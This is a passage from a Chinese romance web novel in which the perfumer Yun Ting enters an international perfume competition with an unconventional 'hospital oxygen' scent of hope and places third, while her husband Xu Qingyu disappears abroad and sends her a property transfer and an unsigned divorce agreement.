桌子上,整齐地摆放着她的调香工具,空气中飘着她最爱的花香味。 云听曾说过,要送她一瓶最完美的香水,那时她眼里闪烁着期待的光芒,而他当时却并没有察觉。 * 晚上,Kai和Elliot约徐清聿吃饭。 徐清聿再三推脱,但在两人的软磨硬泡之下无奈去了。 餐厅里气氛热烈,三个人坐在一起,一边吃着饭,一边聊着天。 酒过三巡,Elliot提起最近的事,“Zeph,我跟你说,我看上了一个韩料店的女孩子。” 他神秘兮兮地笑了笑,“以前在国外,根本没有喜欢过谁,这次不一样了,我最近每天都去她那家店吃饭,目的就是接近她。” 徐清聿问了一句:“有结果吗?” Elliot拍了拍桌子,得意洋洋道:“结果吧,后来我觉得这样太明显了,干脆换个方式,开始给她免费送外卖。” 他做了个夸张的动作,“你们懂的,送外卖嘛,能显得我挺上进的,我干过不少工作,尝试一下送外卖也行。” 徐清聿抿了一口酒,听到Elliot一脸幸福地说道:“那女孩子觉得我上进,第二天就答应和我在一起了。” 徐清聿:“……恭喜。” Kai不太懂Elliot的脑回路,证明上进一定得送外卖吗?要是被Elliot的家族知道,岂不沦为笑柄? 不过,Elliot在国外也没少干不正常的事,思及此,他复制了徐清聿的话,标标准准地说,“恭喜。” Elliot更来劲了,兴致勃勃地谈论自己最近的“战果”,嘴里不停地夸赞他的新女朋友,老婆长,老婆短的。 Kai好奇地问:“在一起几天就叫老婆吗?” Elliot把目光移向徐清聿,“Zeph,你说呢?” 徐清聿没什么回应,他拿起酒杯,想要用酒精填补内心的空白,但被填满的感觉遥不可及。 耳边是Elliot絮絮叨叨地秀恩爱,Kai嫌弃的咒骂,那些谈话与他无关,他被隔绝在外,成了一个旁观者。 他一口接一口地喝着酒,杯中的液体迅速被消耗掉,酒精的麻痹作用让他短暂地失去了清醒。 等到徐清聿回过神时,他已经拨通了云听电话。 电话接通,他没有立刻开口,安静地听着电话那头微弱的呼吸声。 酒精让他的脑袋有些沉重,情感变得模糊不清,却也让他感到一种前所未有的冲动。 “老婆。”徐清聿轻声开口,“你在干嘛?” 他感到有些不自在,但又不知为何,酒精让他的心情变得柔软,语言变得亲昵。他从来没用过这样的称呼,然而此刻,借着醉意,他竟然下意识地叫了出来。 第49章 第四十九章 徐清聿走了 香都的冬天很温柔, 气温虽低,但不像北方那样刺骨,云听换了一身轻便的衣服, 和Ethan、苏黎去酒店的餐厅吃早餐。 作为本次国际调香大赛的指定接待酒店,餐厅自然也是顶级规格,长桌上是各式精致的餐点,整个空间都是咖啡香和烘焙香气。 苏黎尝了一口龙虾粥, 龙虾的鲜香融入了粥里,她赞不绝口,叫来侍者又点了两份。 云听从口袋里拿起手机对着玻璃窗外的风景拍了几张照片,放下手机时看到Ethan在打量她。 Ethan慢条斯理地搅拌咖啡,看到云听眼下的黑眼圈, 把没喝过的咖啡递给云听:“昨晚没睡好?” 云听不习惯早上喝美式,把咖啡还给Ethan,咳了一声:“咳……有点。” Ethan优哉游哉抿了一口:“比赛还没开始你就紧张?那今晚是不是彻夜不睡?” 云听微笑,“适当的紧张对我有所帮助。” Ethan点头:“比赛本来就是对过往努力的检验,能进决赛已经是件了不起的事, 接下来的事,顺其自然就行。” 苏黎嘴里塞满了食物,边吃边含糊不清地说道:“我相信小云姐。” 吃完早餐后,三人按照计划, 去酒店附近的街道随意逛逛。 香都恰如其名,是知名的香水之都, 再加上国际调香大赛的带动,整个城市都沉浸在香气之中。 大街小巷,各种香水品牌的快闪店、香水体验馆、以香氛为主题的咖啡厅和甜品店,都装点得无比精致。 走到哪都是各式各样的香, 从清新的柑橘调,到馥郁的花香,每走一步,鼻尖都会捕捉到不同的香味。 苏黎被眼前的一切惊艳到了,兴奋地左顾右盼:“小云姐!你快看,那家店在展示上世纪的香水配方耶!” 云听顺着她的目光望去,看到一家复古风的香水店,橱窗里摆放着一排古老的玻璃瓶,每个瓶子里都装着不同时代的香水原液。 这些香水承载着历史的味道,也记录了不同年代人们的审美与追求。 云听正准备走过去看看,忽然闻到一阵熟悉的味道。 是龙涎香的气息。 她鼻子一动,顺着香味捕捉来源。 是一家新开的香水品牌店,门口的装饰十分现代化。 即使云听离店三米开外,也能清晰地嗅到一丝天然的龙涎香香气,并非现代工业合成的那种,而是来自天然的珍贵原料。 天然龙涎香非常罕见和珍贵。它是抹香鲸的分泌出来的物质,经过长时间在海水中的风化与氧化后,形成了独特的香料。 而且只有极少数的抹香鲸会产生这种物质,而它们往往在海洋中漂流多年才会被发现。 云听心念微动,抬脚朝那家店走去。 苏黎见状,顾不得Ethan,跟在云听身后:“小云姐,你发现什么了?” “进去看看。” 进去后,店铺并不大,一览无余。 但四周布满了精美的香水瓶,每一个瓶身设计都很独特。 店员是一个年纪轻轻的女孩,她微笑着走上前迎接两人。看到是东方面孔,她便用中文和云听介绍:“欢迎光临!这里的香水大多是香水爱好者调配的,都是不同创作者根据他们的灵感和想法调制的。” “哦?爱好者调制的?” 云听看到充满创意的瓶身,心中讶然。 她走到一瓶香水前,闻了闻它复杂又独特的气味。 不同于市场上常见的香水,它的味道充满了浓郁的个性和鲜明的特点,令人无法忽视。 “是的,” 店员笑着点头,语气自豪,“因为这些调香师大多不是专业人士,所以每一瓶香水的表达都非常独特。他们并不受市场的限制,更多的是想通过香水表达自己的想法和情感。两位如果感兴趣,可以感受一下。” 苏黎是个颜控,不仅对人,也对一切美好的东西。 她捕捉到一个漂亮的香水瓶,有些好奇,走过去拧开瓶盖闻了闻:“这香味好特别,不是常见的花香,也不是果香,感觉有点……神秘。” “是的,这瓶香水的创作者曾说,他在一次森林探险中感受到了一种原始的力量,那种力量源自大自然的深处。他想通过香水来表达力量和自然的联系。” 店员解释。 Ethan不知道在哪溜达了一圈,没多久也默契地走了进来。 他来到一个展柜前,拿起一瓶香水:“这个味道不错,淡雅清新,有一种舒缓的效果。” “这瓶香水的创作者是一位临床医生。” 店员已经对每一瓶香水的来源倒背如流,“他在长期的工作压力下,决定调制一款能够让自己放松的香水,所以他加入了很多草本植物的香料。” 苏黎感悟道:“原来如此,香水的创作,真的是从生活的每个细节中提炼出来的。” 苏黎在调香上不算得心应手,经常犯一些初学者的错误。但云听之所以收她为徒,也是看中了她的潜力。 云听来到另一个展台前,看到了一瓶更为稀奇的香水。瓶身设计独特,深绿色的瓶身中漂浮着金色的粉末。她捧起瓶子:“这瓶香水好神秘。” “这瓶香水叫‘破碎的星空’,它的灵感来自一位天文学爱好者。” 见人越来越多,又一位店员出来帮忙。 是一个胖胖的小男生,笑起来憨厚老实。 “他想通过香水来表达宇宙的浩瀚与神秘,香水中使用了非常罕见的香料,所以会有一种冷冽、深邃的气息。” 闻言,Ethan凑近闻了闻。 香味的确令人震撼。 初闻时清冷的气息在空气中蔓延,让人置身于宇宙的深处,可以看到在遥远的星系中,星星在不停地闪烁。 苏黎一边闻香,一边感慨:“不愧是调香之都,这里随便一家店都这么有水平……” 云听笑着说:“高手在民间。” * 晚上,云听和Ethan坐在酒店顶楼的露台上。 这块区域没什么人。 远处城市灯火璀璨,星河倒映人间。 餐桌上放着一瓶刚开封的红酒,Ethan正在品鉴,云听没有喝。 她转过头对Ethan说:“师傅,你不问问我的想法吗?” Ethan:“我期待你给我惊喜。” 云听将碎发拂至而后,“我想好了,比赛的香水,我想调‘医院’的味道。” 听到这话,Ethan放下酒杯,“医院的味道?” 云听点头,夜风再次吹乱了她的发丝,但她的眼神明亮,像远在天边的星星:“准确来说,是‘氧气’的味道。我想为劫后余生的人设计一款香水,一款关于希望的香水。” Ethan双手交叉,靠在椅背上,意味深长地看着她。 “你确定?”他问,“迄今为止,还没有人如此极端过。” 云听再一次认真地点了点头。 “你想调出‘氧气’的味道……可氧气是无味的。” Ethan的话不算反对,更多的是在思考。 “氧气虽然无味,但医院里的气味是有记忆点的。”云听解释,“我会用冷冽的香料去表现清冷的空气感,比如醛类、金属气息、冷杉、雪松、干净的白麝香,甚至可能加一点无菌棉布的气息。” Ethan沉默了一瞬,手指在椅子上敲了敲,片刻后他说:“想法很大胆。” “但调香成功的作品,必须有市场,必须能让人感同身受。” Ethan目光锐利地看着云听:“小云,你确定有人愿意喷‘医院’的味道?这完全突破了传统香水的定义。” 他从客观的角度地指出现实问题: “香水的本质,是为了让人愉悦。” “可你的香水,注定不会是愉悦的。” 云听并不意外Ethan的反应,事实上,在她决定这么做的时候,就已经想过这个问题。 她轻声道:“可是,师傅,‘希望’从来都不是愉悦的。” “面对生死,他 们经历的,是病痛、挣扎、绝望……可他们依然在坚持,因为他们相信,氧气输进肺里的那一刻,就是希望诞生的时刻。” Ethan无声凝视着她,最终,他叹了口气,嘴角浮起一抹无奈又欣赏的笑意。 “……行吧。” 他端起酒杯,晃了晃,目光向下,透过深红色的液体,落在远处灯火通明的城市上。 “我年轻的时候,也曾想过突破传统。” Ethan笑了一下,“可是越做越久,就会发现,市场才是最终的裁决者。一个香水,哪怕理念再好,如果没有受众,那它就是失败的。” 云听没有反驳。 Ethan又说: “不过——” “有时候,市场需要被教育。” “虽然这创意有点疯,但至少,它是新的。” * 第二天下午。 云听踏入会场时,目光扫向观众席。 属于徐清聿的座位,空无一人。 云听拧眉,按理来说,按照徐清聿的脾性,他不可能失约。他说了“明天等我”,说明他一定会过来,可他人呢? 自从凌晨那通电话之后,徐清聿也没有再给她发过消息。 她连徐清聿到哪都不知道。 难道是堵在半路了? 还是……他根本不会来? 一想到这个可能性,云听心情复杂,说不清是失望还是讽刺。 她赶紧收敛心神。 比赛才是最重要的,说实话,徐清聿来不来,与她的作品有什么关系? 比赛正式开始,会场的中央缓缓升起三座独立的透明玻璃隔间,每个参赛选手都有属于自己的封闭空间。 玻璃隔间宛如一个个独立的实验室,四周光滑透亮,能够有效阻隔香气的扩散,让每位调香师都能专心于自己的作品,而不会受到外界气味的干扰。 云听缓步走向自己的调香台,桌上已经摆放好了这次比赛的基础工具和一些常见香料。 这次的规则是:选手们必须在现场提供的香料中进行挑选,没有数量限制,但只能在有限的时间内调配出符合主题的香水。 云听打算按照自己最初的思路和灵感调配。 即便这个思路过于特殊,可能让很多人无法接受。 但她不在乎。 她要做的,是她想做的,而不是迎合大众。 比赛一开始,两位选手谨慎地挑选香料,因为香料的选择决定了香水的最终走向。 云听目光瞥过四周,隔着透明的玻璃,她能看到其他两名对手正各自忙碌着。 也能看到徐清聿还是没有来。 云听吐出一口气,将目光收回。 桌上整齐地摆放着各种香料,木质、花卉、果香、辛香、烟熏……应有尽有。 可是,她仔细看过两遍,在众多瓶瓶罐罐中找不出自己所要的。 第一种是金属调香料——氧化合物。这是一种能够模拟“金属氧化后气息”的香料,带着冷冽的工业感,与医院无菌室的气味有些相似。 第二种是臭氧合成香原料,它可以模拟雷雨过后空气中弥漫的“新鲜空气感”,也是氧气最直接的气息。它能让人联想到大自然的清新,也能让人感受到生命的流动。 第三种是异戊酸,这种香料是略微酸涩的味道,但和柑橘类搭配后,能够产生一种意想不到的明亮感,像是一种“希望乍现”的感觉。 云听想要的几种核心香料……根本没有。 氧化合物、臭氧气息、异戊酸,这些她视为关键的元素,全都不在提供的名单里。 怎么会这样? 她环顾左右,其他两位选手都没有受到影响,纷纷按照自己的计划选取材料,那个法国人已经开始调配香水了。 只有她,站在原地,心里有些茫然。 云听咬了咬唇,迅速思考着应对方案。 不能慌。 她不能让突发的变故影响自己的节奏。 没有这些香料,那就找替代品。 云听不是第一次遇到这种情况,调香本就是不断调整、试验、突破的过程。 她闭上眼睛,脑海里飞速回忆着刚才在酒店附近的香水品牌店里闻到的某款香水。 那款香水,并没有使用传统的臭氧分子,却依旧营造出了“新鲜空气”的错觉。 她也可以用别的东西代替。 时间紧迫,她必须调整配方,寻找替换的香料。 云听睁开眼睛,扫视香料架,开始调整思路。 直接的臭氧分子找不到? 没关系,可以用柠檬醛和桉树醇来模拟雷雨后空气中的清新感,虽然不同,但也能带来类似的氛围。 接着,她选取了一款带有金属感的琥珀香调,搭配海盐香调,来营造冷冽的无菌感,虽然比氧化合物更温和,但同样有清透的空气感。 异戊酸原本是用来增强香气的酸涩感,让整体更有层次感。云听灵机一动,选取了醋酸己酯和青苹果香调,两者结合,也能带来清脆鲜活的感觉。 这不是她最初想象的配方,但比赛不会因为她缺少原料停下来,她只能调整自己,继续前进。 她迅速拿起替换好的香料,回到自己的调香台前,开始重新计算配比。 云听再次闭上眼睛,脑海里勾勒出完整的气味结构。 这一次,她没有犹豫,也没有想徐清聿到底来了没有。 时间流逝,比赛正式进入白热化阶段。 一小时过去。 两小时过去。 玻璃墙外,评委们在低声交流,试图推测三名选手的创作方向。大屏幕上播放不同角度的特写镜头,捕捉着三位选手的每一个动作。 云听没有时间看这些,她的所有注意力都集中在面前的调香配比上。 还差一点什么。 云听心跳开始加快,她还没有完全抓住希望之香的灵魂。 她深吸一口气,抬头看到第一排空出来的位置,手指颤抖地拿起最后一瓶原料。 这是她反复推敲后才决定加入的一种香料。 只需微量,一点点就够了。 她屏住呼吸,精准地倒入了一滴。 随后,云听放下香料,拿起试香纸,蘸取调配好的液体,让香气自然挥发。 时间已经所剩不多,云听扫了一眼计时器,最后十分钟。 她调整了一下整体比例,确保香气的层次感能够精准释放出来。然后,她将香水倒入小巧的试香瓶中,盖上瓶盖,轻轻摇晃,让香料彻底融合。 五分钟。 云听的鼻尖竟然沁出了一小颗汗珠。 她没有擦,心里忍不住笑了一下。 竟然会紧张? 她已经很久没有感受到这样的紧迫感了,可是这一刻,她并不觉得这是坏事。 三分钟。 她将香水瓶放入参赛托盘中,调整了一下姿态,尽量让自己看起来更冷静。 一分钟。 她抬头,又一次看向观众席——那个依旧空着的位置。 云听移开目光。 “不来就算了。” 比赛的时间正式结束,三位选手站在调香台前,等待评委们的提问。 评委们依次闻过三款香水,主评审清了清嗓子,开口道: “接下来,我们希望三位选手能讲述一下自己这款香水的创作灵感。” “从左到右依次开始。” 云听是最后一个。 她站在自己的调香台后,眼神不由自主地往评审席旁的观众席看了一眼。 徐清聿不会来了。 骗子。 最先开口的是法国的Olivier Lambert,他的语调自信,带着法国人特有的优雅:“我的灵感来自南法的夏日橘园。” 他说话的同时,评委们手中拿着他的香水试香纸,仔细嗅闻。 “你们能感受到明亮的柑橘香调,就像夏天的阳光洒在果园里,空气中弥漫着佛手柑和柠檬的清香。接着,橙花的纯净香气浮现,有一丝微苦,就像人生中那些虽短暂却令人难忘的时刻。” “最后,是香草与麝香的结合。这款香水的‘希望’,是无论经历多少风雨,阳光终究会照耀下来。它是明亮的、温暖的、令人愉悦的——就像每个人期待中的美好未来。” 评委们点头,显然对这个作品的商业价值和普适性都很认可。 第二个开口的是Lisa von Stuhl,“我的灵感,来自一场春雨后的一杯温热的茶。” 她的话音刚落,评委们便再度拿起试香纸,闭上眼睛细细品味。 “你们可以感受到乌龙茶的醇厚香气,感受到它 发酵的深度,就像人生的旅途,充满故事。绿茶和柚子的搭配,赋予它清新而透亮的感觉,如同雨后的清晨,空气里弥漫着微凉的茶香。” “最后,樱花叶的微苦、鸢尾花的温柔粉感,以及沉香的静谧木质香气,让这款香水变得更加沉稳。” Lisa von Stuhl低头,语气轻缓:“这款香水的‘希望’,是即便生活不总是明亮的,但总有一些温柔的东西,能让人心安。希望,也可以是宁静的、克制的,它一直存在。” 两款香水,一个明亮,一个沉稳,都是大众容易接受的“希望之香”。 轮到云听。 评委的目光落在云听身上,他们都好奇,这一款最“异类”的香水,究竟代表着怎样的希望? “我的灵感,来自医院。” 云听毫不避讳地说出了这个与“希望”听起来不太相干又有点相干的地方。 总之,很矛盾。 评委们皱眉,台下的观众也有些惊讶。 云听说道:“很多人以为,‘希望’是温暖的、柔和的、甜美的。但在我看来,希望并非如此。” 清冽的氧气感、微弱的金属气息、干净锐利的空气感使云听的香水不同于传统的香水,甚至不能用“好闻”来形容,而是一种极具冲击力的体验。 有些评委蹙眉,对这种非主流的香调持怀疑态度。 其中,一位头发半白的男性评委放下试香纸,直接开口质疑。 “这……能称得上是‘希望之香’?” 声音饱含不解和轻蔑。 “你想表达医院里的氧气感、手术室的空气感,我承认这个思路独特。但问题是——有谁会喜欢这种香水?” 他不满意地摇头,“香水,不只是概念,它最终是要卖给市场的。” “如果一款香水没有受众,那它就是失败的。” “你的作品,充其量只是哗众取宠。” 其他评委也看向云听,都在等待她的回应。台下的观众窃窃私语,不少人都认同评委的话。 云听保持淡定。 她知道这个评委,John Smith。 他是英国皇室御用香水品牌创始人,偏爱清新自然的香调,从业以来一直推崇安全、商业化、符合大众喜好的香气。 在他的审美里,云听的作品,确实是个异类。 但云听没那么容易被压下去。 她问:“您的意思是,一款香水如果没有广泛的市场受众,就不算是成功的香水?” John Smith淡淡地道:“至少它不会是一款被认可的香水。” “那么,‘认可’的标准是什么?”云听反问,“是符合大多数人的喜好?还是能表达出调香师真正想要传达的情感?” John Smith不悦:“商业市场就是最好的答案。香水最终要被人接受,而不是成为一种博人眼球的艺术品。” 云听闻言,反驳道:“可如果只考虑市场,这世上就不会有颠覆传统的香水了。” 见John Smith没说话,她接着说:“上世纪初,人们认为花香才是香水的唯一正统,然而后来东方调、革调、烟草调等一系列小众香调崛起,成为经典。” “如果所有调香师都只愿意做符合大众审美的香水,那请问,香水的未来在哪里?” John Smith脸色一沉:“但你的这款作品,太极端了。” 云听不慌不忙:“极端,并不代表它没有意义,您觉得我的香水没有受众,但请问,您真的确定吗?” “我们可以接受皮革、烟草、麝香、动物气息等曾经被认为‘不适合做香水’的香调,那为什么不能接受医院里的氧气感?” “我的香水,是献给那些真正经历过生死边缘的人。” “他们可能不是这个世界上的大多数,但他们同样值得被赋予‘希望’的香气。” 现场再次陷入了短暂的沉默。 这时,另一位评委评论道:“我不得不承认,你的理念确实很新颖。但,这款香水的商业价值仍然存疑。” “我从没说过它是为商业市场设计的。”云听说,“但‘希望’这两个字,本就不应该用市场价值来衡量。” 现场的几名评委一开始就被云听的香水劝退了。 金属气息最先扑面而来,冰冷、干燥、略微刺鼻的感觉,像是医院手术室里冰冷的器械,或者无菌病房中彻底消毒后的空气。 接着,一丝醛类的锐利味道渗透出来,携带某种极度干净、无尘的气息,就像医院走廊里刚刚拖过的地板,干燥而无机质。 再然后,是一缕轻微的苦味,像是橡胶手套刚刚从包装袋里拿出来的那一瞬间,带着工业感的气息,让人不由自主地皱起眉头。 有些评委不适应,认为云听偏离了要求。 陈逸凡不同,他嗅到了香水的另一面。 就在这股冷硬、疏离、让人不适的前调快要消散时,空气中突然浮现出一丝柔软的气息。 像是一道微光,透进了冰冷的世界。 各种味道碰撞,最终交织出奇迹 这股温柔的气息,像是氧气真正进入肺部的那一刻,生命被重新点燃的感觉。 那是一缕若有似无的白麝香,带着极致的干净感,就像病床上刚换上的白色床单,温柔、无菌,却透着令人安心的气息。 接着,微微的雪松木香浮现出来,带着一点点沉静的感觉,不会过于厚重,却在冷冽的空气里,提供了一丝微弱却坚定的支撑。 然后是……一抹极淡的茉莉花香。 这抹茉莉花香非常轻,非常淡,只是隐隐透出一点点,仿佛是有人刚刚走过,衣角上残留的一丝馨香吹进了自己的鼻腔,轻柔得让人无法察觉,却又恰到好处地平衡了香水整体的冷感。 陈逸凡带头鼓掌:“有趣……虽然前调极端,但尾调竟然意外地好闻,如果我没猜错,还有香草的味道。” 他说得没错。 这款香水变得完整的关键点,正是一滴极淡的香草。 云听最后在香水里面添加了一点点香草,不是那种甜腻的香草味,而是一种微妙的、几乎闻不到的温润感。 它并不占据主导位置,也不会盖过前面冷冽的气息,但会在鼻腔深处,留下温暖。 好比在经历过寒冷、手术、等待与恐惧之后,最终,一只温暖的手轻轻地握住了你。 它没有甜美的安慰,也不是刻意的讨好,但能让人在极度的冷静之后,感受到生命的温度。 这就是希望的味道。 冰冷、克制、压抑、尖锐,但在最深的地方,仍然藏着微光。 最后一个评委的笔尖停下,比赛结果尘埃落定。 主持人走上台,举起麦克风,宣布道:“第107届世界调香大赛的冠军是——来自法国的Olivier Lambert先生!” 掌声在赛场内响起,Olivier Lambert向评委席点头致意。 “第二名,来自德国的Lisa von Stuhl女士!” Lisa von Stuhl平静地站起身,礼貌地朝众人颔首。 “第三名,来自华国的——”主持人停顿了一下,“Celia女士。” 云听早就猜到了这个结果。 她不失望,因为她的作品不属于这里 她不意外,所以没有半点失望的情绪。 从她决定“剑走偏锋”的那一刻起,她就知道这款香水不可能夺冠。 这个世界永远青睐稳妥、成熟、商业价值高的作品,而她的香水…… 云听低头看着自己手中的小试香瓶,唇角微微弯了弯。 它不属于这里,它应该摆放在那家香水店里,和那些爱好者们的作品放在一起。 在那里,它不用迎合评委的口味,也不用为了取悦大众市场,而是为了那些真正能懂它的人而存在。 想到这里,她的眼神反而轻松了几分。 比赛结束,经历了长时间的采访后,云听疲惫地走出赛场。 脸都要笑烂了。 苏黎高兴地冲上 来,一把抓住她的手臂:“小云姐!你真的太厉害了!我觉得你的香水才是最独特的!” 云听失笑,“行了行了,别激动。” “小云,你做得很好。”Ethan道,“在这个圈子里,想要做出突破很难,但你敢去尝试,已经很了不起了。” 云听看向Ethan,确信无疑说:“师傅,你早就知道我不会得第一吧?” Ethan笑了笑:“当然,调香界是一个很现实的地方,真正能留下来的,都是符合市场需求的作品。你的作品太极端了,受众面太小,得不了第一是意料之中的事。” 他又补充道:“但有些作品,不是为了得第一,而是为了留下印象。” * 比赛结束后,云听三人在香都又待了两天。她没有特意去关注什么,行程也随意得很,吃饭、逛街、再随手买几瓶特别的香水带回去。 直到离开香都的前两天晚上,她躺在酒店的床上,习惯性地拿起手机,注意到一条未读消息。 来自徐清聿的。 只有四个字:云听,抱歉。 没有解释,就这么简单的四个字。 云听看着这条消息,手指停在屏幕上,拨通了徐清聿的电话。 “嘟——嘟——” 长长的拨号音回荡在耳边,但始终没有人接。 云听盯着屏幕,等到自动挂断,指尖在屏幕上划过,又重新拨了一次。 还是没人接。 她终于叹了口气,把手机放下,靠在床头,静静地看着天花板。 云听的心情并没有意料中的愤怒,或许连难受都没有。她只是突然间,彻彻底底地明白了一件事,他和徐清聿,好像没有以后了。 其实她早该明白的。 在比赛场上,她站在封闭的玻璃间里,感受时间的流逝,感受香料在自己手中一点点变化,感受着自己的呼吸和心跳。 那一刻,她的世界里只有她自己,没有徐清聿。 她专注于调香,专注于比赛,专注于真正属于自己的世界。 那一刻,她前所未有地清醒。 她不用依赖徐清聿了。 她可以一个人走下去,可以继续追逐自己的事业,可以不再在意徐清聿的态度,也可以不再因为他的一句话、一条消息而影响心情。 徐清聿这两个字,“抱歉”,既是道歉,也是告别。 他没有来比赛现场,他也没有解释一句,他以这两个字,作为他们之间的终结。 她该放下了。 屏幕上多了一滴晶莹的液体,云听回复徐清聿:没关系。 徐清聿没再回,云听也没有再给徐清聿发消息 她以为自己会难受,会忍不住去问个明白,但实际上,她过得很平静。 或许是因为在比赛那天,她已经找到了自己的位置,找到了先前那个不依赖感情、不需要被谁定义的自己。 又或许,情绪还没到反扑的那一天。 * 回家后,云听第一时间回了徐宅。 徐爷爷徐奶奶在,徐清聿的爸妈在,就连她的爸妈也在,唯独徐清聿不在。 几个人的神情都很严肃,气氛沉闷让人想逃。 云听进门后,看到他们这副样子,心里惴惴不安。 “爷爷奶奶,爸爸妈妈,怎么了?”她放下行李,缓步走近。 孟妍欲言又止,最终还是徐深凛先开口,“小听,清聿有和你说吗?他去M国了。” 云听一愣:“什么?” “他去了M国。”邢时漫愁眉苦脸,“不知道什么时候回来。” 对于徐清聿一声不吭地离开,徐爷爷明显很生气,徐奶奶正在给他顺气。 云听怔怔地看着他们,像是没听清一样,重复:“……不知道什么时候?” “是。他没有和任何人说,他自己一个人就走了,我们是今天才收到消息的,小听,清聿有告诉你吗?” 云听张了张嘴,半晌没发出声音。 她没想到,徐清聿会瞒着所有人,直接离开了这里。 第50章 第五十章 离婚协议书 夜晚, 云听戴上蓝牙耳机,坐在书桌前翻看私人账号的邮件。 大多邮件是祝贺她得奖,一些是知名香水品牌的邀约, 还有一些是投资人希望与她合作的信息。 “恭喜您在国际调香大赛中获得佳绩,我们非常期待您的未来发展……” “您的香水创意令人惊叹,希望有机会能合作……” “如果您有创立个人品牌的打算,我们愿意提供初期投资……” 有几封发件的官方账号是一些籍籍无名的小众品牌。 云听指尖轻敲鼠标, 一目十行读过去。 国际调香大赛不愧是让人声名鹊起的平台。 从比赛结束到现在,不过短短几天,她的人生发生了天翻地覆的变化。她曾经犹豫不决的事情,现在有无数人替她铺好了路,等她迈出一步。 其中一封标题很随意的邮件吸引了云听的注意力。 标题:「你那款奇怪的香水」 发件人:Olivier Lambert 云听眨了眨眼。 Olivier Lambert, 是获得第一名的法国选手。 她点开邮件,内容是几大段流畅的英文。 「你好,亲爱的中国调香师,先祝贺你获得比赛第三名,在我看来, 你的作品比我还有德国那位的更有趣,它不是一瓶毫无惊喜的商业香。」 「我承认,你的作品让我印象深刻。虽然当时评委们对你有些刻薄,我也觉得你的香水很极端, 但老实说,我很喜欢。希望有机会能和你合作。」 「我一直不喜欢医院, 每次去医院我都会觉得窒息,那里的消毒水味道、空气中的紧张气息,让人不想踏入。」 「不过你的香水让我觉得,或许医院也没那么糟糕, 它代表希望,而不是绝望。这很奇怪,但也很有趣。你是怎么想到的?」 邮件最后,他加了一段抱怨: 「对了,我们这边的医院真的太糟糕了,每次预约都要等上几周,就算是感冒发烧也得排队,简直是折磨。我上次喉咙痛得快要死了,结果预约到三周后。」 Olivier Lambert的字里行间,不像一个高高在上的冠军,而像个喜欢抱怨生活琐事的普通人。 云听想了想,敲下回复: 「你好,首先谢谢你的认可,能让第一名的选手记住我的作品,是我的荣幸,我也期待和你的合作,」 「我的灵感来源于我对生命的理解。在医院里,人们可能带着痛苦来,但也可能带着希望走。我想创造一款让人闻到后,能想起生命意义的香水,而不是单纯的恐惧或压抑。」 「至于你抱怨的医院预约问题,我对法国的医疗系统不太了解,但每个系统都有优缺点,法国的医疗系统虽然不完美,但至少保证了公平和可及性。」 「不过,你要是真的受不了,下次可以考虑带个医疗旅游套餐,去别的国家看病,顺便度个假!」 回复完,云听继续往下翻,却在邮件列表中,看到了一个熟悉的发件人名字。 徐清聿。 有两封,发件时间是今天凌晨。 徐清聿从来没有给她发过邮件,云听心里顿时感到有什么东西正在悄然崩塌,而她只能眼睁睁地看着,无力阻止。 云听打开第一封。 屏幕上弹出附件,她下载后打开。 不好的预感被证实,是财产转让书。 看到一页页详细的法律文书,她眸色收紧。 云听知道徐清聿的资产不少,但看到这份转让书时,才发现自己远远低估了他。 第一条转让资产范围 1. 国外资产 甲方名下的所有国外银行存款、房产、股票、基金、保险及其他投资;具体资产清单见附件一。 2. 国内资产 甲方名下的所有国内银行存款、房产、车辆、股票、基金及其他投资;具体资产清单见附件二。 3. 香水品牌公司股份: 甲方持有的VOE香水品牌公司股份,占公司总股本的20%;股份转让的具体事宜见附件三 如果不是这份文件,云听都不知道,徐清聿竟然拥有VOE的公司股份。 现在,这些资产全部都在这份文件里,被无条件地转让给她,只要她签字,所有的财富就会自动划归到她的名下。 云听手指握紧鼠标,掌心已经渗出冷汗。 徐清聿到底想干什么?为什么要把所有东西都给她? 她往下看,看到最后一条: 「甲方确认,本协议为自愿 签署,无任何胁迫、欺诈或其他不当手段,乙方可在任何时间接受或拒绝,无需承担任何责任。」 「如乙方同意,本协议立即生效。」 落款处,徐清聿的电子签名已经在上面。 签名工整,落款时间正是今天。 云听低下头,猝不及防地,泪水滑落,滴在键盘上,等她反应过来时,上面已经晕开了一小片水渍。 她用手去擦,越擦越模糊。她也不知道自己为什么会哭,只是这一刻,心里的难受已经溢出。 云听颤抖地退出这封邮件,打开第二封。 离婚协议书。 文件格式和财产转让书差不多,但不同的是,这一份协议书上,徐清聿没有签名。 她盯着空白的签名处,眼泪还在往下砸。 徐清聿将所有的东西都安排好了,唯独没有在离婚协议上签字。 为什么? 云听不想自作多情,如果他真的想离婚,为什么不干脆签完? 邮件的正文,只有三个字:“对不起。” 云听的心猛地一缩,指尖冰冷,盯着那三个字看了很久。 徐清聿连解释都不肯给她,就莫名其妙道歉,然后消失。 她不甘心。 如果说财产转让书是一记沉重的闷棍,让她喘不过气,那这份离婚协议书,就是一把锋利的刀,轻飘飘地划过她的心脏,却留下了一道很深的伤口,让她疼得不知所措。 云听闭上眼睛,双手捂住脸,任由泪水从指缝中溢出。 她应该生气的,应该痛骂他的绝情,应该直接回他一句「你什么意思?」 她可以接受徐清聿拒绝她的感情,但她不能接受他不问缘由就独自离开。 云听思绪翻涌,最终她拿起手机,拨通了徐清聿的号码。 电话响了很久,久到她快要放弃,直到最后一刻,电话那端才传来“咔嗒”一声。 接通了。 徐清聿接了电话。 但对面没有声音。 没有说话,也没有背景音,安静得不像是在现实世界里。 云听用手背擦去眼泪,用最冷静的语气问:“为什么?” “为什么要离开?”她的声音比想象中还要平静,“为什么连解释都不给我?” “一个朋友出事了。” 徐清聿声音很沙哑,像是许久未好好休息。 云听指甲深深嵌入掌心,疼痛让她保持清醒。 她不想让徐清聿听出自己的悲伤和狼狈,更不想在他面前卖可怜卖委屈博同情:“朋友?” 徐清聿没有回答她的疑问,而是继续道:“云听,我不知道什么时候能回来。” “所以呢?”云听质问,“这就是你要跟我离婚的理由?” 电话那头传来一声很轻的叹息,“我不想耽误你。” 云听用指尖擦掉不争气的泪水,“徐清聿,你觉得这样对我公平吗?” 徐清聿说:“你会有更好的生活。” “更好的生活?”云听嗤笑,每一次吸气都像是在吞咽一层痛苦,“你怎么知道什么是我想要的?” 胃部一阵痉挛,她弯下了腰,可即便这样也不能缓解内心排山倒海的难过。 云听问:“徐清聿,为什么要把财产都给我,为什么不在离婚协议书上签名?你对我有那么一点点喜欢吗?” 徐清聿沉默了。 云听不想在电话里和他争吵,可是这份离婚协议书、这通电话、徐清聿的沉默,让她意识到,无论她再怎么问,徐清聿都不会告诉她真相。 